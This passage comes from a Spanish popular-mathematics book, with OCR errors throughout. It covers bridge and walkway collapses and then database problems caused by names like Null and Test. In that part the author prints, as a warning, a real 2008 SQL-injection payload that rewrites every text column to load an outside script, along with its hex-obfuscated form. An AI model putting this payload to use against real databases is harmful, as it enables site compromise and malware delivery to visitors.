Antes del incidente del Puente del Milenio ya habia algunas sefiales que
indicaban que los peatones sincronizados podian hacer que un puente se
sacudiera lateralmente. En 1993, se realiz6 una investigacion sobre un puente
peatonal que se tambaleaba lateralmente cuando lo cruzaban al mismo tiempo
dos mil personas. Antes de eso, en 1972, se investigo un puente de Alemania
que mostraba problemas similares cuando entre trescientas y cuatrocientas
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personas caminaban sobre €l a la vez. Pero nada de esto habia hecho que se
modificasen las regulaciones en cuanto a la construccion de puentes. Todo el
mundo estaba obsesionado con las vibraciones verticales.

Arriba y abajo

El impacto vertical producido por un humano que camina es unas diez veces
mayor que el lateral, razon por la que los movimientos laterales han sido
ignorados tanto tiempo. Las vibraciones verticales de los puentes se habian
percibido mucho antes. Los puentes sélidos de piedra o madera no poseen
frecuencias de resonancia que puedan entrar en sincronia con los pasos
humanos. Pero después de la revolucion industrial de los siglos xviit y xix, los
ingenieros empezaron a experimentar con nuevos disefios en los que
utilizaban celosias, ménsulas y péndolas. Finalmente, se construyé un puente
colgante que estaba dentro del rango que podia alcanzar la resonancia
provocada por los humanos.

Uno de los primeros puentes que se destruyeron debido a la
sincronizacion del paso de los peatones fue un puente colgante situado en las
afueras de Manchester (en lo que actualmente es la ciudad de Salford). Creo
que este puente colgante de Broughton fue el primer puente que se destruy6
debido a la frecuencia de resonancia de los peatones que lo cruzaban. A
diferencia del Puente del Milenio, que tenia un ciclo de retroalimentacion que
se sincronizaba con los peatones, en el puente Broughton la resonancia del
paso de las personas que lo cruzaban no tenia con qué sincronizarse.

El puente se construyo en 1826, y la gente lo cruzaba sin problema alguno
hasta 1831. Hizo falta que pasase un peloton de soldados marchando
perfectamente en sincronia para alcanzar la frecuencia de resonancia. El 60.°
Cuerpo de Fusileros compuesto por setenta y cuatro soldados se dirigia a sus
barracones alrededor del mediodia del 12 de abril de 1831. Empezaron a
cruzar el puente en filas de cuatro y enseguida notaron que el puente se estaba
balanceando ritmicamente con sus pasos. Al principio parecia algo bastante
divertido y empezaron a silbar una cancion que encajaba con el rebote. Hasta
que fueron ya unos sesenta soldados los que rebotaban a la vez sobre el
puente cuando este se derrumbo.

Unas veinte personas sufrieron heridas por caer al rio desde una altura de
cinco metros; afortunadamente, nadie murio6. En el analisis posterior se llegd a
la conclusion de que las vibraciones fueron las culpables de haber hecho que
el puente soportase una carga mayor que la que habria generado el mismo
numero de personas detenidas sobre €l. Se revisaron puentes similares; el
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conocimiento de este tipo de fallo ya era una realidad. Por suerte, no fue
necesario que se perdiera ninguna vida humana para ser conscientes de la
importancia de la resonancia en los puentes colgantes. En la actualidad, existe
una advertencia en el Albert Bridge de Londres en la que se advierte a las
tropas de que no marchen al paso cuando lo crucen.

En un giro

Cosas como las anteriores ni se descubren ni se recuerdan tan facilmente. A
mediados del siglo xiX, la red ferroviaria estaba extendiéndose por toda
Inglaterra, lo que requeria la construccion de un monton de puentes que
pudieran soportar el paso de un tren completamente cargado. Un puente que
soporte un tren es mas dificil de disefiar que un puente para peatones o para
vehiculos. Los humanos y los carruajes tienen cierto nivel de suspension
integrada; pueden desplazarse sobre superficies que se mueven un poquito.
Un tren no tiene esa tolerancia. Es necesario que la superficie sobre la que se
desplaza esté absolutamente quieta, lo que implica que los puentes
ferroviarios sean rigidos.

Han de romper el paso, pero no el puente.
A finales de 1846, el ingeniero Robert Stephenson disefi6 un puente

ferroviario que cruzaba el rio Dee, en Chester. El puente era mas largo que los
que hasta entonces habia disefiado Stephenson, pero lo tens6 y reforzé para
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que pudiera hacer frente a las pesadas cargas sin moverse demasiado. Fue el
clasico paso adelante en ingenieria: coges disefios anteriores exitosos y
consigues que hagan un poquito mas a la vez que utilizan menos materiales
para su construccién. El puente Dee cumplia ambos criterios.

Se inauguré y funciond a la perfeccion. El imperio britanico dependia de
los trenes, y los ingenieros britanicos se enorgullecian de sus puentes rigidos.
En mayo de 1847, el puente se modifico ligeramente; se afiadié mas roca y
gravilla para impedir que las vias vibraran y para proteger las vigas de madera
del puente de los rescoldos ardientes que producian las locomotoras de vapor.
Stephenson inspecciond el trabajo realizado y dio su aprobacion. El peso
extra que se puso sobre el puente estaba dentro de los limites de tolerancia
esperados. Sin embargo, el primer tren que lo cruzo después de la
modificacion no consiguio llegar al otro lado.

No es que el puente no pudiera soportar el peso extra, sino, mas bien, que
la combinacion de longitud y masa revel6 una forma completamente nueva en
la que los puentes podian fallar. Resulta que, al igual que con las vibraciones
hacia arriba y hacia abajo y las laterales, los puentes también se pueden
curvar en el medio. La mafiana del 24 de mayo de 1847, pasaron seis trenes
sobre el puente sin problema alguno, justo antes de que esa tarde se afadiera
la masa extra a base de fragmentos de rocas.

Cuando el siguiente tren estaba cruzando el puente reinaugurado, el
conductor sintio que el puente se estaba moviendo bajo sus pies. Intento
cruzarlo lo mas rapido posible (los trenes de vapor no son famosos por su
aceleracion) y lo logro por los pelos. Es decir, 1o consiguio el conductor y la
locomotora. Pero no los cinco vagones de los que tiraba. El puente se retorcid
hacia un lado y los vagones cayeron al rio. Hubo dieciocho heridos y cinco
fallecidos.

Desde ciertos puntos de vista, es comprensible que ocurra un desastre
como ese. Obviamente, deberiamos hacer lo que fuese necesario para evitar
los errores de la ingenieria, pero cuando los ingenieros estan forzando los
limites de lo que es posible, en ocasiones, una faceta de las matematicas
oculta hasta entonces se manifiesta repentinamente. A veces, afiadir algo de
masa es todo lo que hace falta para cambiar las matematicas que rigen el
comportamiento de una estructura.

Es algo caracteristico del progreso humano. Hacemos cosas que van mas
alla de lo que comprendemos y de lo que siempre hemos hecho. Las maquinas
de vapor funcionaban antes de que dispusiéramos de una teoria de la
termodinamica; las vacunas se desarrollaron antes de que supiéramos como
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funciona el sistema inmunitario; los aviones siguen volando a dia de hoy, a
pesar de los muchos huecos que hay en nuestra comprension de la
aerodinamica. Mientras la teoria vaya por detras de las aplicaciones practicas,
siempre habra sorpresas matematicas esperandonos. L.o importante es que
aprendamos de estos errores inevitables y no los repitamos.

Ese movimiento de los puentes ha pasado a ser conocido por los
ingenieros como «inestabilidad torsional», lo que significa que una estructura
tiene la capacidad de torcerse libremente en el medio. Para mi, la
inestabilidad torsional es ese movimiento que nadie espera. L.a mayoria de las
estructuras no poseen la combinacion correcta de tamafio y longitud para
contonearse de forma perceptible, por lo que la inestabilidad torsional cae en
el olvido hasta que una nueva construccion pasa el punto critico en el que se
manifiesta y, entonces, de repente, jha vuelto!

Después de lo del puente Dee (y de otros accidentes similares), los
ingenieros examinaron rigurosamente las vigas de hierro fundido y decidieron
utilizar hierro forjado desde entonces. El informe oficial culpaba del desastre
a la debilidad del hierro fundido. Stephenson respondi6 con la ocurrente
insinuacion de que el tren descarrilo6 por si mismo, argumentando,
basicamente, que el tren rompio el puente, y no al revés. Nadie estuvo de
acuerdo. Pero si que plante6 un punto interesante. En todos los puentes que €él
habia construido, las vigas de hierro fundido funcionaban bien. Ninguna de
sus teorias dio con la causa correcta.

Al final del informe, casi descubrian al auténtico culpable, la inestabilidad
torsional. El ingeniero civil James Walker y el inspector ferroviario J. L. A.
Simmons cerraban el informe admitiendo que los demas puentes de
Stephenson no se habian caido, pero si que todos tenian «una arcada menor
que la del puente Dee de Chester» y que «las dimensiones de sus secciones
eran proporcionalmente menores». Durante un breve instante, admitieron que
podia haber algo que tuviera que ver con la escala del puente, pero acabaron
culpando a la debilidad de las vigas. No dieron el paso que les faltaba. Y el
refuerzo que se decidi6 aplicar a los puentes futuros era suficiente para que la
inestabilidad torsional se volviera a esconder. Durante un tiempo.

La inestabilidad torsional volvié a aparecer, y con ganas, en el puente
Tacoma Narrows (estado de Washington, Estados Unidos). Disefiado en la
década de 1930, formaba parte de la nueva estética visual art decd; el
principal disefiador, Leon Moisseiff, dijo que los ingenieros de puentes
deberian «buscar lo gracil y elegante». Y eso hicieron. Un puente fino, con
forma de lazo y aerodindmico que parecia increiblemente gracil. Ademas de
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ser hermoso, era barato. Utilizando menos acero, el disefio de Moisseiff
costaba aproximadamente la mitad que el disefio propuesto por su
competidor.

Inaugurado en julio de 1940, el puente demostré muy pronto que el hecho
de que el coste fuese barato tenia un precio. La fina superficie se movia arriba
y abajo con el viento. Todavia no se trataba de inestabilidad torsional, sino del
clasico balanceo vertical que habia causado tantos problemas en otros
puentes. Pero parece ser que, en este caso, no existia el suficiente balanceo
para que este fuese considerado peligroso. Se le comunico a la gente que era
perfectamente seguro cruzar el Galloping Gertie (Gertie galopante), que es el
apodo que le pusieron los lugarefios al puente. (Parece ser que los
norteamericanos son incluso mas creativos a la hora de ponerle nombre a los
edificios que los londinenses, quienes, seguramente, lo habrian bautizado
como el puente ondulante.)

Dado que los expertos habian asegurado que el puente era seguro, para la
gente pasO a ser un paseo divertido, mientras que los ingenieros intentaban
averiguar como podian eliminar ese movimiento. Y entonces, en noviembre
de 1940, el puente se derrumb6 de forma espectacular. Se ha convertido en un
ejemplo iconico de fallo de ingenieria, porque se produjo cerca de una tienda
de camaras fotograficas, en la que el propietario, Barney Elliott, tenia
peliculas de color Kodachrome de 16 milimetros. Elliott y su compafiero
consiguieron fotografiar el desplome del puente.

Pero la mala fama del colapso de este puente también fue debida a otro
aspecto negativo: una explicacion erronea. Hasta la fecha, el desastre del
puente de Tacoma Narrows es considerado un ejemplo de los peligros de las
frecuencias de resonancia. Al igual que ocurrié con el Puente del Milenio, se
argumentO que el viento que pasaba por debajo del Tacoma Narrows iguald
una frecuencia de resonancia del puente y lo despedaz6. Pero, a diferencia del
Puente del Milenio, eso no es cierto. No fue la resonancia la que derrumbé el
puente.
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Puente Tacoma Narrows, 1940. Momentos después, un tipo salté de ese coche y corrio para ponerse a
salvo.

Fue el otro villano del Puente del Milenio: un ciclo de retroalimentacion.
Uno que no tenia como protagonista a la resonancia, sino a la inestabilidad
torsional. La elegancia de su disefio lo hizo mas aerodinamico. Es decir, el
aire lo hizo dinamico. Mientras que otros disefios propuestos para el puente de
Tacoma Narrows tenian una red metalica a través de la cual pudiera pasar el
viento, el puente que se construy6 tenia laterales metalicos planos, perfectos
para dificultar el paso del viento.

Lo que se retroalimentaba era lo que se conoce como «flameo». Bajo
circunstancias normales, el puente se curvaria en el medio un poco pero
rapidamente retornaria a su posiciéon normal. Pero, con el viento suficiente, el
ciclo de retroalimentacion del flameo provocaria que la inestabilidad torsional
alcanzara niveles perceptibles. Si el lateral del puente que estaba en la parte
en la que soplaba el viento se elevaba ligeramente gracias a alguna torsion
tipica, entonces se comportaria como un ala de avion y el efecto aumentaria
debido al viento. Cuando rebotaba y se hundia, el efecto del viento iba en el
otro sentido, empujandolo mas hacia abajo. Por lo que cada vez que se
producia una torsién hacia arriba o hacia abajo, se veia favorecida por el
viento y aumentaba el tamafio de las oscilaciones. Si el lector sopla lo
suficientemente fuerte sobre una cinta tirante, podra ver el efecto por si
mismo.
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Como consecuencia del desastre del puente de Tacoma Narrows, se
reforzaron puentes similares. El flameo se afiadio a la larga lista de cosas de
las que se ha de preocupar un ingeniero cuando disefia un puente.
Actualmente, los ingenieros suelen tener en cuenta la inestabilidad torsional y
disefian los puentes en consecuencia. Lo que deberia significar que ya no
volvera a ocurrir algo igual. Pero, a veces, las lecciones aprendidas en una
parcela de la ingenieria no repercuten en las demas. Resulta que la
inestabilidad torsional puede afectar también a los edificios.

La torre John Hancock, de sesenta pisos de altura, fue construida en
Boston durante la década de 1970 y se descubri6é que tenia una inestabilidad
torsional inesperada. La interaccion con el viento entre los edificios
circundantes y la propia torre estaba haciendo que este se retorciera. A pesar
de haber sido disefiado acorde a las normas de construccion vigentes en ese
momento, la inestabilidad torsional encontr6é una forma de retorcer el edificio
y la gente que se hallaba en los pisos superiores empezo a sentirse mareada.
Una vez mas, jel amortiguador de masas sintonizadas vino al rescate! Se
colocaron piezas de plomo de unas 300 toneladas de peso en tanques llenos de
aceite en los extremos opuestos del piso cincuenta y ocho. Unidos al edificio
mediante resortes, actuaban para amortiguar cualquier vibracion y mantener
asi el movimiento por debajo de un nivel perceptible.

El edificio, cuyo nombre oficial es hoy el 200 de la calle Clarendon, sigue
en pie. Por lo visto, las normas de construccion (y el edificio) fueron
reforzadas después del incidente de la vibracién del edificio. Pero he sido
incapaz de encontrar ninguna prueba de si el edificio esta capacitado para
resistirse a «The Power» de Snap.

Caminando sobre terrenos inciertos

Este ligero avance en el conocimiento de las matematicas y de la ingenieria ha
durado siglos y los humanos son ahora capaces de construir algunas
estructuras realmente increibles. Después de cada fracaso, se mejoran las
normas de ingenieria y las buenas practicas de tal forma que podemos
aprender de aquello que sali6 mal. Al mismo tiempo, nuestro conocimiento
matematico crece y pone a disposicion de los ingenieros mas herramientas
tedricas. El unico punto negativo es que las matematicas y la experiencia nos
permiten actualmente construir estructuras que van mas alla de lo que nuestra
intuicion puede comprender.

Imagine que le ensefiamos a un ingeniero de la época de la revolucién
industrial un moderno rascacielos de 823 metros de altura, o la Estacién
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Espacial Internacional, de 108 metros de largo y 420 toneladas de peso,
orbitando alrededor de la Tierra. Pensarian que se trata de magia. Pero si
trajésemos a Robert Stephenson desde el siglo xix a la actualidad y le
mostrasemos un rascacielos, pero también le diéramos un curso de ingenieria
estructural asistida por ordenador, lo entenderia bastante rapido. La ingenieria
es facil si entiendes las matematicas.

En 1980, se construy6 en Kansas City una pasarela peatonal para el hotel
Hyatt Regency. Se realizaron complejos calculos para que diera la impresién
de que la pasarela flotaba en el aire, apoyada por unas pocas barras metalicas
finas en el segundo piso por encima del vestibulo del hotel. Sin matematicas,
habria sido algo demasiado peligroso: alguien tendria que haber adivinado
cuan pequefios podian ser los apoyos y aun asi sostener de forma segura a los
transeuntes. Pero, gracias a la certidumbre de las matematicas, los ingenieros
sabrian que los apoyos iban a funcionar antes incluso de poner un simple
tornillo en el lugar correcto.

Esta es la diferencia entre las matematicas y los humanos al abordar un
problema. El cerebro humano es un dispositivo de calculo increible, pero
hemos evolucionado para tomar decisiones y evaluar resultados. Somos
maquinas de aproximacion. Las matematicas, sin embargo, pueden ir
directamente a la respuesta correcta. Pueden averiguar el punto exacto en el
que las cosas pasan de estar bien a estar mal, de ser correctas a incorrectas, de
ser seguras a ser desastrosas.

El lector puede hacerse una idea de lo que quiero decir observando las
estructuras del siglo xix y de inicios del xx. Se construyeron a partir de
grandes bloques de piedra y gigantescas vigas de acero plagadas de remaches.
Todo esta disefiado, hasta el punto de que un humano puede observar y sentir
instintivamente que es segura. En el puente de la bahia de Sidney (1932, foto
de abajo) hay casi mas remaches que vigas de acero. Sin embargo, con las
matematicas modernas podemos acercarnos al limite de lo que es seguro.
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Sip, eso no va a ningun sitio.

Aunque en el Kansas Hyatt, todo sali6 mal. Fue un recordatorio muy
costoso de los riesgos que se corren al construir edificaciones mas alla de lo
que resulta intuitivo para nuestros cerebros. Durante la construccion, se
realiz6 un cambio aparentemente inofensivo en el disefio y los ingenieros no
rehicieron correctamente los calculos. Nadie se dio cuenta de que el cambio
alteraria fundamentalmente las matematicas subyacentes. Y con la pasarela
sobrepasaron el limite.

La modificacion parecia una buena idea. La pasarela tenia dos niveles, en
el segundo y cuarto piso del hotel. El disefio requeria unos finos y largos
tirantes de metal que sostenian los dos niveles de la pasarela desde arriba: uno
a media altura de los tirantes y el otro en su base. Las tuercas iban enroscadas
en los tirantes, y apoyadas en ellas se colocaban unas vigas cajon (vigas
huecas rectangulares de metal). Cuando el disefio se trasladé al edificio real,
la longitud de los tirantes complicd las cosas: las tuercas que sujetaban la
pasarela superior se tendrian que pasar por toda la longitud de los tirantes, que
eran realmente muy largos. Y como cualquiera que haya montado un mueble
puede confirmar, incluso enroscar una tuerca en un tornillo de unos pocos
centimetros puede ser tedioso.

Se encontré una solucion bastante sencilla: cortar los tirantes por la mitad
y tener asi unos tirantes mas cortos desde la pasarela superior a la inferior, y
otros mas cortos desde la superior a la inferior. La disposicion parece idéntica
a la que se habia planeado anteriormente, excepto que ahora todas las tuercas
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se encontraban al final de un tirante, a una distancia en la que era mas facil
enroscarlas. Satisfecho con este retoque, el equipo de construccion construy6
la pasarela y pronto la gente empez6 a utilizarla para salir a toda prisa del
hotel.

Entonces, el 17 de julio de 1981, mientras un monton de gente las estaba
utilizando a modo de mirador, los pernos atravesaron las vigas cajon de
apoyo, y murieron mas de cien personas.

Este es un triste recordatorio de lo facil que es cometer un error
matematico con consecuencias dramaticas. En este caso, el diseno habia
cambiado, pero no se habian rehecho los calculos.

En el disefio original, cada tuerca tenia que servir de apoyo para la
pasarela justo por encima de ella y a cualquier persona sobre ella. El sutil
cambio del que nadie se percaté fue que, con la modificacion, la pasarela
inferior estaba ahora suspendida directamente de la superior. Por lo que,
ademas de soportar su propio peso y el de la gente que hubiera sobre ella, esta
pasarela superior también tenia colgando de ella a la pasarela inferior. Las
tuercas que antes tenian que sostener solo a la pasarela superior estaban ahora
soportando el peso de toda la estructura.

El disefio propuesto para la pasarela. A la derecha, las pasarelas del seqgundo y cuarto piso que se
derrumbaron estdn suspendidas por los mismos tirantes.
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En la «Investigacion del derrumbe de las pasarelas del Kansas City Hyatt
Regency», se descubrié que incluso el disefio original no cumplia con los
requisitos de las normas de construccion de Kansas City. Las pruebas
realizadas revelaron que las vigas cajon apoyadas en las tuercas solo podian
sostener 9.280 kilogramos de masa cada uno, mientras que las normas de
construccion exigen que cada junta sea capaz de sostener 15.400 kilogramos.
Esta carga maxima es deliberadamente exagerada para garantizar asi que la
pasarela nunca se cargara al limite. Por lo que, incluso si la pasarela se
hubiera construido para resistir solo el 60% del maximo requerido en las
normas, existe una posibilidad de que nunca se hubiera visto sometida a
fuerzas lo suficientemente fuertes como para romperla.

Lo que fue diseniado Lo que fue construido
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Esta tuerca solo sostiene Esta tuerca trabaja horas extra
la pasarela que hay sobre para sostener también la pasarela
ella. que esti por debajo de ella.
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La viga cajoén después de que la tuerca y el tirante que la sostenian la desgarraran.

En el momento del derrumbe, cada tuerca de las vigas cajon de la pasarela
inferior estaba soportando 5.200 kilogramos. Lo que significa que, incluso si
no hubieran sido tan fuertes como especifican las normas, aun podrian haber
sostenido a la muchedumbre que se habia reunido sobre ella. En el disefio
original, con las barras continuas, los pernos de la pasarela superior estaban
bajo una carga similar y también habrian sobrevivido. Por lo que, si la
pasarela se hubiera construido siguiendo el disefio original, existe una
posibilidad de que nadie se hubiera dado cuenta de que no estaba cumpliendo
las normas de construccion.

Pero, debido a la alteracion realizada en el disefio, los pernos de la
pasarela superior estaban soportando el doble de esa carga, segun los calculos
realizados fueron unos 9.690 kilogramos por perno. Eso es mucho mas de lo
que podian soportar las vigas cajon, por lo que uno de los pernos situados en
la parte central saltd. Esto hizo que los pernos restantes tuvieran que soportar
todavia mas carga, por lo que se rompieron rapidamente uno tras otro,
provocando que la pasarela se derrumbase.
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Fue una situacién desafortunada, en la que no solo no se hicieron los
calculos iniciales segin los estandares correctos, sino que también se
cambiaron luego los calculos necesarios y nadie los volvié a comprobar.
Puede que cada uno de esos errores por si solo no hubiera provocado el
derrumbe. Pero todos juntos dieron como resultado la muerte de 114
personas.

Permitir que las matematicas nos lleven mas alla de nuestra intuicion tiene
muchos beneficios, pero también es cierto que con algunos riesgos. La
inmensa mayoria de veces, la gente cruza los puentes y camina sobre
pasarelas ignorando felizmente cuanto se han esforzado los ingenieros en que
eso fuera posible. Solo somos conscientes de ello cuando algo sale mal.
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Tres

MICRODATOS

A mediados de la década de 1990, un nuevo empleado de Sun Microsystems
en California desaparecia continuamente de su base de datos. Cada vez que se
introducian sus datos, daba la impresion de que el sistema se lo zampaba
entero; desaparecia sin dejar rastro. Nadie en recursos humanos pudo
averiguar por qué el pobre Steve Null era la kryptonita de la base de datos.

El personal de recursos humanos introducia su apellido «Null», pero eran
felizmente ignorantes de que, en la base de datos, NULL es el término para la
falta de datos, por lo que Steve pasé a ser una entrada nula. Para los
ordenadores, su nombre era Steve Zero o Steve TioNoExistes. Al parecer,
necesitaron un tiempo para darse cuenta de lo que estaba ocurriendo, mientras
seguian introduciendo una y otra vez sus datos cada vez que se planteaba el
asunto, sin pararse nunca a pensar por queé la base de datos le eliminaba una y
otra vez.

Desde la década de 1990, las bases de datos se han vuelto mucho mas
sofisticadas, pero el problema persiste. Null sigue siendo un apellido legitimo
y el codigo informatico sigue utilizando NULL para representar la falta de
datos. Una variacion del problema es que una base de datos de una compaiiia
acepte a un empleado cuyo nombre sea Null, pero no haya forma de buscarle
en ella. Si buscamos personas con el nombre Null, la respuesta sera, bueno,
que no hay (null, en inglés).

4 )

Dado que los ordenadores utilizan la palabra NULL para representar la falta de
datos, lo vera aparecer ocasionalmente cuando un sistema informatico ha cometido
algtn error y no encuentra los datos que necesita.
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Proteja su dispositivo TomTom con estilo

Quendo Matthew,

Kit de viaje TomTom

Ty

He buscado en mi bandeja de entrada y he encontrado algunos correos electrénicos
dirigidos a null y uno en concreto preguntandome sobre mi dispositivo TomTom
$NULLS. Pero el no va mas son los anuncios emergentes de «solteras calientes
cerca de null».

o J

Creo que sé qué ha ocurrido. Comprobar si una entrada es igual a NULL
es un paso muy util en programacion. Escribi un programa para mantener una
hoja de calculo con todos mis videos de YouTube. Cada vez que he de entrar
nuevos videos necesito encontrar cual es la siguiente fila disponible. Por lo
que el programa establece inicialmente active_row = 1 para empezar en la
primera fila y ejecutar este segmento de codigo (lo he limpiado un poco para
que sea un poco mas facil de leer).

while data(row = active_row, column=1) != NULL:
active_row = active_row + 1

En un montén de lenguajes informaticos != significa «no igual a». Por lo
que, para cada fila, comprueba si los datos de la primera celda no son iguales
a null. Si no son iguales a null, afiade un 1 a la fila y sigue hasta que
encuentra la primera fila libre. Si mi hoja de calculo tuviera filas que
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empezaran con apellidos de personas, entonces Steve Null podria haber roto
mi codigo (depende de lo avanzado que sea el lenguaje de programacion). Las
bases de datos de empleados mas modernas pueden fallar durante su btisqueda
porque comprueban search_term != NULL antes de continuarl?l, Esto es
para detectar todas las veces que se clica el boton de busqueda sin haber
introducido ningtin texto en la casilla de buscar. Pero también detiene todas
las busquedas de personas que se llamen Null.

Otros nombres legitimos también pueden ser descartados por las
bienintencionadas reglas de las bases de datos. Un amigo mio trabajaba en
una base de datos para una gran compafiia financiera en Gran Bretafia y esta
solo le permitia introducir nombres con tres o0 mas letras para asi descartar las
entradas incompletas. Lo cual estaba bien, hasta que la compafiia se expandio
y empez0 a contratar a personas de otros paises, incluido China, donde los
nombres con dos caracteres son algo de lo mas habitual. La solucion fue
asignar a dichos empleados nombres anglicanizados mas largos que encajaran
con el criterio que seguia la base de datos, lo cual deja mucho que desear.

Los macrodatos son muy emocionantes, y traera consigo una serie de
avances y hallazgos increibles que nos ayudaran a analizar los grandes
conjuntos de datos —asl como también todo un nuevo campo en el que
cometer errores matematicos (de los que hablaremos mas adelante—. Pero
antes de darle vueltas a los macrodatos, necesitamos primero recoger y
almacenar esos datos. L.Llamo a este proceso «microdatos»: mirar los datos de
uno en uno. Tal como nos demostraron Steve Null y sus parientes, grabar
datos no es algo tan sencillo como esperabamos que fuera.

Algo parecido a lo que le ocurre a Steve Null, le pasa igualmente a Brian
Test, Avery Blank y Jeff Sample. El problema Null se puede arreglar
codificando los nombres en un formato unicamente para datos de tipo
caracter, para que asi no se confunda con el valor NULL. Pero Avery Blank
tenia un problema mucho mayor: los humanos.

Cuando Avery Blank fue a la Facultad de Derecho tuvo problemas a la
hora de obtener una pasantia porque sus solicitudes no eran tomadas en serio.
La gente veia «Blank» en la casilla destinada al apellido y suponia que era
una solicitud incompleta. Siempre se tenia que poner en contacto con ellos y
convencer al comité de seleccion de que era un ser humano real.

Brian Test y Jeff Sample («muestra» en castellano) padecieron el mismo
problema, pero por razones ligeramente diferentes. Cuando creas una nueva
base de datos, o una forma de introducir datos, es habitual probarla y
asegurarse de que todo va bien. Por lo que metes algunos datos ficticios para
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comprobar todo el proceso. Gestioné un montéon de proyectos con
universidades, y a menudo los alumnos se inscriben en linea. Acabo de abrir
mi base de datos mas reciente de esos proyectos y me he fijado en la parte
superior. La primera entrada corresponde a la Sra. Profesora, quien trabaja en
el instituto Test de la calle Test en el condado de Falseland. Probablemente
tenga relacion con el Sr. Profesor del instituto San Falsington, quien parece
apuntarse a todo lo que hago.

Para evitar ser borrado como datos de prueba no deseados, cuando Brian
Test empez6 un nuevo trabajo, llevd un pastel para todos sus nuevos colegas.
Impresa en el pastel habia una fotografia de su cara con las siguientes
palabras escritas con glaseado: «Soy Brian Test y soy real». Al igual que
ocurre con un montén de problemas de oficina, el tema se solucioné con
pastel gratis, y ya no le borraron nunca mas.

No solo los humanos borran a personas como Brian Test; a menudo
ocurre lo mismo con los sistemas automatizados. L.as personas introducen
datos falsos en las bases de datos continuamente, por lo que los
administradores de estas establecen sistemas automatizados para intentar
eliminarlos. Una direccion de correo electronico como null@nullmedia.com
(perteneciente a un humano real, Christopher Null) suele ser bloqueada de
manera automatica para reducir el correo basura. Recientemente, un amigo
mio no pudo firmar una peticién en linea porque su direccién de correo
electronico tenia un signo + en ella: un caracter valido, pero uno utilizado
habitualmente para generar direcciones de correo electronico masivamente y
para hacer spam en las encuestas en linea. Por lo que fue bloqueado.

Por lo tanto, cuando se trata de nombres, si usted ha heredado un apellido
«prohibido» para las bases de datos, puede o lucirlo como una medalla de
honor o pedir un formulario oficial para cambiarse de nombre. Pero si usted
es padre o madre, por favor, no le ponga a su hijo un nombre que le condene a
una vida de lucha continua con los ordenadores. Y, dado que desde 1990 a
mas de trescientos nifios en Estados Unidos les han puesto de nombre Abcde,
vale la pena decirlo bien claro: no le ponga a su hijo nada parecido a Fake,
Null o DECLARE @T varchar(255), @C varchar(255); DECLARE
Table_Cursor CURSOR FOR SELECT a.name, b.name FROM
sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = ‘u’> AND
(b.xtype = 99 o b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); OPEN
Table_Cursor; FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_ STATUS = 0) BEGIN EXEC(‘update [ + @T + ‘]
set [ + @C + ‘] = rtrim(convert(varchar,[‘+ @C + ‘]))+ “<script
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src=3e4df16498a2f57dd732d5bbc0ecabf881a47030952a.
9e0a847cbda6c8</script>’’’); FETCH NEXT FROM Table_Cursor
INTO @T, @C; END; CLOSE Table_ Cursor; DEALLOCATE
Table_Cursor;

El tltimo ni siquiera es una broma. Da la impresion de que me he quedado
dormido sobre mi teclado, pero es un programa informatico completamente
funcional que escanea una base de datos sin necesidad de saber cémo esta
estructurada. Simplemente rastreara todas las entradas de la base de datos y
las hara accesibles al primero que sea capaz de colar ese codigo en la base de
datos. Es un ejemplo mas de humanos en linea comportandose como idiotas.

Introducirlo como si fuera el nombre de alguien tampoco es poca broma.
Se conoce como ataque por inyeccion de SQL, nombrado asi por el famoso
sistema de bases de datos SQL; a veces pronunciado como «sequel»
(secuela). Implica introducir codigo malicioso a través de la URL de un
formulario en linea y esperar que quien esté a cargo de la base de datos no
haya colocado las suficientes medidas donde toca. Es una forma de hackear y
robar los datos de otra persona. Pero depende de que la base de datos ejecute
el codigo que has conseguido colar. Puede parecer ridiculo que una base de
datos procese un codigo malicioso entrante, pero sin la capacidad de ejecutar
codigos, una base de datos moderna perderia su funcionabilidad. Es un
malabarismo mantener una base de datos segura pero capaz de soportar
funciones avanzadas que requieren ejecutar codigos.

Solo para que quede completamente claro: el de mi ejemplo es un cédigo
verdadero. No lo teclee en una base de datos. La estropeara. Ese cédigo fue el
utilizado en 2008 para atacar al gobierno de Gran Bretafia y a las Naciones
Unidas, excepto que una parte fue convertida en valores hexadecimales para
pasar inadvertido ante los sistemas de seguridad que buscan codigo entrante.
Una vez dentro de la base de datos, se descomprimira de nuevo en codigo
informatico, encontrara las entradas de la base de datos y luego llamaré a casa
para descargar programas maliciosos adicionales.

Este era su aspecto cuando estaba camuflado:

script.asp?var=random’; DECLARE %20@S %20
NVARCHAR(4000); SET %20@S=CAST (0440045
0043004C004100520045002000400054002000760061
007200630068006100720028. . .

[otros 1.920 digitos]

004F00430041005400450020005400610062006
C0065005F0043007500720073006F007200%20AS %
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20NVARCHAR(4000)); EXEC(@S);--

Escurridizo, ¢eh? Desde nombres desafortunados a ataques maliciosos,
gestionar una base de datos es una tarea dificil. Y eso es incluso antes de
tenérselas que ver con cualquiera de los errores legitimos que se producen al
introducir los datos.

Cuando los buenos datos se convierten en malos

En Los Angeles hay un pedazo de tierra en la esquina entre West 1st Street y
South Spring Street que alberga las oficinas de LA Times. Es justo calle abajo
desde el ayuntamiento y justo enfrente del Departamento de Policia de Los
Angeles (LAPD por sus siglas en inglés). Debe haber algunas zonas dificiles
de Los Angeles que los turistas deberian evitar, pero, sin duda, esta no es una
de ellas. La zona parece todo lo segura que puede ser... hasta que compruebas
el mapa de localizaciones de crimenes denunciados que cuelga el LAPD en su
web. Entre octubre de 2008 y marzo de 2009 se cometieron 1.380 crimenes en
esa manzana. Eso es mas o menos el 4% de todos los crimenes que aparecen
marcados en el mapa.

Cuando LA Times se percato de esto, preguntd educadamente al LAPD
qué estaba ocurriendo. El culpable fue la forma en la que se codificaron los
datos antes de ser introducidos en la base de datos para crear el mapa. De
todos los crimenes denunciados se registra su ubicacion, a menudo a mano, y
todo esto es automdaticamente geocodificado por el ordenador a latitud y
longitud. Si el ordenador es incapaz de resolver la localizacion, simplemente
registra la ubicacién por defecto de Los Angeles: la puerta delantera de la
sede central del LAPD.

El LAPD arregl6 esto con el método tradicional utilizado cuando habia un
exceso repentino de criminales: los transporto a una isla lejana. La isla Null.

La isla Null es una nacién islefia, pequefia, pero orgullosa, situada frente a
la costa occidental de Africa. Se halla a unos 600 kilémetros al sur de Ghana,
y la puede encontrar poniendo su latitud y longitud en cualquier software
cartografico de su eleccién: 0,0. Dato curioso: sus coordenadas parecen la
expresion facial de cualquiera de los que alli deportan. Y es que, vera, mas
